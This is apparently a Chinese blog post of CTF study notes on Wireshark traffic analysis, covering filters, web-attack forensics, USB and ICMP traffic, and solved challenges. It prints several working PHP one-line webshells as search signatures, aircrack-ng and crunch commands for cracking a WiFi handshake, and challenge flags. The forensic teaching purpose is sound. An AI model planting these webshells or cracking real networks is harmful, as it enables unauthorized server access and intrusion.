misc之流量分析------2023.2.21
一,wireshark的使用
1,数据包筛选
点击分析--->显示过滤器
显示过滤器可以用很多不同的参数来作为匹配标准,比如 IP 地址、协议、端口号、 某些协议头部的参数。此外,用户也用一些条件工具和串联运算符创建出更加复杂的 表达式。用户可以将不同的表达式组合起来,让软件显示的数据包范围更加精确。在 数据包列表面板中显示的所有数据包都可以用数据包中包含的字段进行过滤。
运算符 说明
== 等于
!= 不等于
> 大于
< 小于
>= 大于等于
<= 小于等于 与 and , &&
或 or , ||
非 ! , not
1,#ip筛选
ip.src == 地址#源ip筛选
ip.dst == 地址#目的ip筛选
ip.addr == 地址#ip筛选
2,#mac 地址筛选
eth.dst == A0:00:00:04:C5:84 #目标mac地址筛选
eth.addr == 20:89:84:32:73:c5 #mac地址筛选
3,#端口筛选
tcp.dstport == 80#筛选tcp协议的目标端口为80的流量包
tcp.srcport == 80#筛选tcp协议的源端口为80的流量包
udp.srcport == 80#筛选udp协议的源端口为80的流量包
4,#协议筛选
tcp #筛选协议为tcp的流量包
udp#筛选协议为udp的流量包
arp/icmp/http/ftp/dns/ip #筛选协议为arp/icmp/http/ftp/dns/ip的流量包
5,#可用!加协议或者not加协议表示排除该协议
not arp或!arp #包长度筛选
udp.length == 20 #筛选长度为20的udp流量包这个长度是指udp本身固定长度8加 上udp下面那块数据包之和
tcp.len >=20 #筛选长度大于20的tcp流量包指的是ip数据包(tcp.下面那块数据),不包 括tcp本身
ip.len == 20 #筛选长度为20的IP流量包除了以太网头固定长度14,其它都算是ip.len,
即从ip本身到最后
frame.len == 2 #筛选长度为20的整个流量包整个数据包长度,从eth开始到最后
6,#http请求筛选 请求方法为GET:http.request.method == "GET" #筛选HTTP请求方法为GET的流量 包 请求方法为POST:http.request.method == "POST" #筛选HTTP请求方法为POST的 流量包 指定URl:http.request.uri= ="/img/1.gif" #筛选HTTP请求的URL为/img/1.gif的流量 包 请求或相应中包含特定内容:
2,数据包搜索
编辑--->查找分组。可选择的有四种搜索方式
3,数据包还原
在wireshark中,存在一个追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成 原始数据,具体操作方式如下:选中想要还原的流量包,右键选中,选择追踪流- TCP
流/UPD流/SSL流/HTTP流
4,数据提取
Wireshark支持提取通过http传输(. 上传/下载)的文件内容,方法如下:
选中http文件传输流量包,在分组详情中找到data或者Line- based text data :text/htmI层,鼠标右键点击-选中导出分组字节流 鼠标右键点击-选中显示分组字节
5,流量包修复
比赛过程中有可能会出现通过wireshark打开题目给的流量包后提示包异常的情况 流量包修复工具1:https://github.com/Rup0rt/pcapfix/tree/devel 流量包修复工具2:pcapfix - online pcap / pcapng repair service (f00l.de)
二,web流量分析
WEB据包分析的题目主要出现WEB攻击行为的分析上, 典型的WEB攻击行为有: WEB扫描、后台目录爆破、 后台账号爆破、WEBSHELL 上传、SQL注入等。
1,某公司内网网络被黑客渗透,请分析流量,给出黑客使 用的扫描器(webone.pcap)
解题思路:
常见的WEB扫描器有Awvs,Netsparker, Appscan, Webinspect, Rsas (绿盟极 光), Nessus, WebReaver,Sqlmap等。要识别攻击者使用的是哪一种扫描器 ,可通
过wireshark筛选扫描器特征来得知。 常见的扫描器特征参考: https://www.77169.net/html/259708.html
可以使用http contains“扫描器特征值"来进行过滤筛选,或者用分组字节流直接搜: http contains "acunetix"
2,某公司内网网络被黑客渗透,请分析流量,得到黑客扫 描到的登陆后台是(相对路径即可)
常见的 login.php
拿到后台地址后一般会进行弱密码爆破或者SQL注入等操作 而登录一般采用POST请 求方式 所以对http请求方式进行过滤:
3,某公司内网网络被黑客渗透,请分析流量,得到黑客使 用了什么账号密码登陆了web后台,形式: username/password
上面第二问已经可以确定后台路径 据此对包进行过滤: http.request.method == "POST" && http contains "rec=login"
筛选后可以看到大量的来自192.168.94.59的请求 查看报文可以发现是在通过字典爆 破密码 可以判断为黑客的ip
http.request.method == "POST" && http contains "rec=login" && ip.src eq 192.168.94.59
按照时间排序后查看最后一个包可以得出黑客使用的帐号密码
4,某公司内网网络被黑客渗透,请分析流量,得到黑客上 传的webshell文件名是,内容是什么,提交webshell
的内容
webshell一般都是一句话木马 常见的如下
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?=php system($_GET[cmd]);
<?=`$_GET[1]`;
<?php @eval($_POST[cmd]);?>
搜索@eval 找到类似的一句话并追踪流
可以看出是上传文件的包 内容是一句话 最后得到webshell的内容.
5,某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页 信息。 您可以在您的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不 想被robot访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎收录
了,或者指定搜索引擎只收录指定的内容。
robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常 告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不能被搜索引 擎的漫游器获取的,哪些是可以被(漫游器)获取的。 因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。
robots.txt应放置于网站的根目录下。 请求robots.txt时一般是GET请求 按GET来过滤 http.request.method == "GET"
搜索robots 追踪流 可以看到flag
6,某公司内网网络被黑客渗透,请分析流量,黑客找到的 数据库密码是多少
数据库的相关关键字是database 缩写db 找到了数据库密码 应该是找到了数据库的 配置文件 所以http的返回码应该为200并且类型应该是text
http.response.code == 200 && http contains "db" 经过筛选可以找到
7,某公司内网网络被黑客渗透,请分析流量,黑客在数据 库中找到hash_ code是什么
在上一问中找到的数据库配置文件中有数据库的主机ip 打开webtwo.pcap
过滤服务器ip
ip.src == 10.3.3.101
然后字符串搜索hash_code 找到后查看分组字节得到 flag
8,某公司内网网络被黑客渗透,请分析流量,黑客破解了 账号ijnu@test.com得到的密码是什么
搜索帐号 然后查看分组字节得到b78f5aa6e1606f07def6e839121a22ec
一般数据库里的密码都是md5加密存储的 这里通过网络上的md5解密工具得到
edc123!@#
9,某公司内网网络被黑客渗透,请分析流量,被黑客攻击 的web服务器,网卡配置是是什么,提交网卡内网ip
回到webone.pcap这个流量包中,这个问题问的是网卡的配置,一般网卡的名称都 为eth0,所以可以利用这个关键词进行查询
eth0,eth1,eth2……代表网卡一,网卡二,网卡三…… lo代表127.0.0.1,即localhost
tcp contains "eth0" 追踪一下tcp流, 即可发现网卡的相关配置
三,键盘流量分析
tshark
USB HID Usage Tables 1.12(P52).pdf (book118.com)
USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节,其中键盘 击键信息集中在第三个字节中,数据如下图所示
题目背景:安全评测人员在对某银行卡密码输入系统进行渗透测试,截获了一段通过
USB键盘输入6位数字密码的流量,其中也包含了一些其他无关的USB设备的流量, 你能从中恢复出6位数字密码吗?
tshark -r usb.pcap -e usb.capdata -T fields > usb.txt
-r 从文件读取
-e 过滤器选项 后面跟的字符串内容和wireshark的过滤器用法一样 usb.capdata . Leftover Capture Data
-T 输出格式 这里fields是原生文本
> 使得输出流指向usb.txt文件 将程序的输出保存到文件
tshark -r usb2.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt Linux下使用 |和sed来剔除空行
720593
四,鼠标流量分析
USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为四个字节。 其中第一个字节代表按键、当取0x00时,代表没有按键、为0x01时, 代表按左键, 为0x02时 .代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其 最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平 左移多少像素,第三个字节与第二字节类似,代表垂直上下移动的偏移
题目背景: Flag藏于usb流量中,
通过USB协议数据中的鼠标移动轨迹转换成Flag
提取cap数据 通过脚本判断鼠标左右键并输出轨迹上的点的坐标 然后通过matplotlib
绘图 用matplotlib scatter得到 XNUCA{USBPCAPGETEVERYTHING}
五,ICMP流量分析
ICMP(Internet Control Message Protocol)Internet控制报文协议。它属于[网络层协 议],它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息, 是一种面向无连接的协议,用于传输出错报告控制信息。什么是ICMP?ICMP如何工 作? - 华为 (huawei.com) ICMP最常见的应用就是ping命令
Pyshark是一款针对tshark的Python封装器,在Pyshark的帮助下,广大研究人员可 以使用wireshark的解析器来进行Python数据包解析。
pip install pyshark
wireshark显示TShark not found
你的python安装路径\Lib\site-packages\pyshark\config.ini
打开修改tshark_path = 你的wireshark安装路径\tshark.exe
六,Data
ping也可以携带数据? flag格式为ctfhub{}
解题思路:看到包里面隐藏着信息,依次取出即可是flag
先过滤出icmp 发现是一个请求一个相应 内容相同,只需要其中一个即可 额外添加过 滤条件 如下
icmp &&icmp.type == 8 还是每个包的同一位再变化 用脚本提取
七,Length
ping包的大小有些奇怪flag格式为ctfhub{}
解题思路:根据题目给出的提示进行过滤显示,这里可以看到,ICMP协议Data部分的
Length都是人为指定的,所以只需要把这--部分的值取出来,再转换成字符串即可获 取flag ctfhub{acb659f023}
八,LengthBinary
ping包的大小有些奇怪 解题思路:题目很直接的给了提示,就是二进制与length的关系,使用wireshark打开 流量包查看,使用过滤器icmp&& icmp.type==8来进行过滤,查看每一条流量的
length值,发现都是32或64,把其转为二进制即可或者对应的信息
补充:
1,题目:Cephalopod(图片提取)
题目来源:XCTF 3rd-HITB CTF-2017
考点:图片提取 题目信息:(Cephalopod.pcapng)
数据包打开,分组字节流查询flag,发现出现了flag.png的字样,分组字节流搜索png找到
tcp.stream eq 2
这里在追踪TCP流的时候 一定要等全部追踪完成之后再导出 否则会丢失数据 导致图 片部分信息丢失导致解题失败
PNG文件头89 50 4E 47 0D 0A 1A 0A
删去文件头前面的内容 得到flag
2,题目:特殊后门(icmp协议信息传输)
题目来源:第七届山东省大学生网络安全技能大赛
考点:字符串搜索,icmp协议信息传输
题目信息:(backdoor++.pcapng)
搜索flag字符串,在icmp中得到提示flagishere 。之后的每一个icmp包都有含一个flag字符。
依次查看所有icmp包拼凑字符得到flag
flag{Icmp_backdoor_can_transfer-some_infomation}
3,题目:手机热点(蓝牙传输协议obex,数据提取)
题目来源:第七季极客大挑战
考点:蓝牙传输协议obex,数据提取
题目信息:(Blatand_1.pcapng)
根据题目提示,手机共享,那么应该是蓝牙传输,蓝牙传输协议为OBEX,过滤后发 现含有一个压缩包
方法一:foremost分离后得到压缩包,解压得到flag.gif
方法二:同上面的图片提取 找GIF文件头
4,题目:想蹭网先解开密码(无线密码破解)
题目来源:bugku
考点:无线密码破解 题目信息:(wifi.cap)
下载cap包,WIFI连接认证的重点在WPA的四次握手包,也就是eapol协议的包,过 滤一下
果然存在四次握手包,直接进行无线密码爆破
crunch 使用教程-随心所欲生成字典hyled-Ava的博客-CSDN博客crunch生成字典
创建密码字典:crunch 11 11 -t 1391040%%%% >> wifipass.txt
Linux下的字典生成工具Crunch
利用aircrack-ng 进行爆破
aircrack-ng -w wifipass.txt wifi.cap
5,题 目 : 抓 到 一 只 苍 蝇 ( 数 据 包 筛 选 , 数 据 提 取 )
题 目 来 源:b u g k u
考 点:数 据 包 筛 选 , 数 据 提 取 题 目 信 息:( mis c _ fly.p c a p n g )
首先打开数据包,题目提示了抓到一只苍蝇,试一试搜索苍蝇
http contains "苍蝇"
发现一些可疑信息,仔细分析一下发现是在发qq邮件,并且还上传了文件
既然上传了文件,我们再过滤POST请求试试:
可以看到13号数据包调用函数 CreateFile ,然后下面几个可能就是文件内容了,具 体是几个,仔细看看URL,738号数据包有个需要调用函数 CheckFile ,并且前面的
5个数据包url的路径一样, 所以从第一个开始,后5个数据包是flag.rar内容
我们将分组字节流中的原始数据分别保存为1、2、3、4、5,方便操作
但是由于TCP包有文件头,我们需要去掉文件头才能将原始数据合成一个文件, 从第一个数据包可以看出来:
文件大小是525701字节,我们需要的这5个数据包的大小(Media Type中可看到):
31436*4+1777=527521
527521-525701=1820
1820/5=364
tcp包的tcp头就为364
然后使用linux的一些工具进行操作即可得到flag.rar
依次把五个文件去掉文件头保存到另一文件 这里使用dd:
然后再用linux的输入流来合并成一个文件:
dd if=1 bs=1 skip=364 of=1.1
dd if=2 bs=1 skip=364 of=2.1
dd if=3 bs=1 skip=364 of=3.1
dd if=4 bs=1 skip=364 of=4.1
dd if=5 bs=1 skip=364 of=5.1
dd命令语法:
if 输入文件名
bs 设置每次读写块的大小为1字节
skip 指定从输入文件开头跳过多少个块后再开始复制
of 输出文件名
然后再用linux的输入流来合并成一个文件:
cat 1.1 2.1 3.1 4.1 5.1 > fly.rar
或者
copy /B 1.1+2.1+3.1+4.1+5.1 fly.rar
然后fly.rar又被伪加密了,所以需要将这个文件用HXD打开后,将其中的74 84改为
74 80就能打开了
解压得到flag.txt,打开,显示在win32下运行
改为exe可执行文件运行 屏幕上会出现一堆苍蝇…… binwalk一下发现含有很多图片,foremost提取一下,得到一个二维码 扫描即可得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!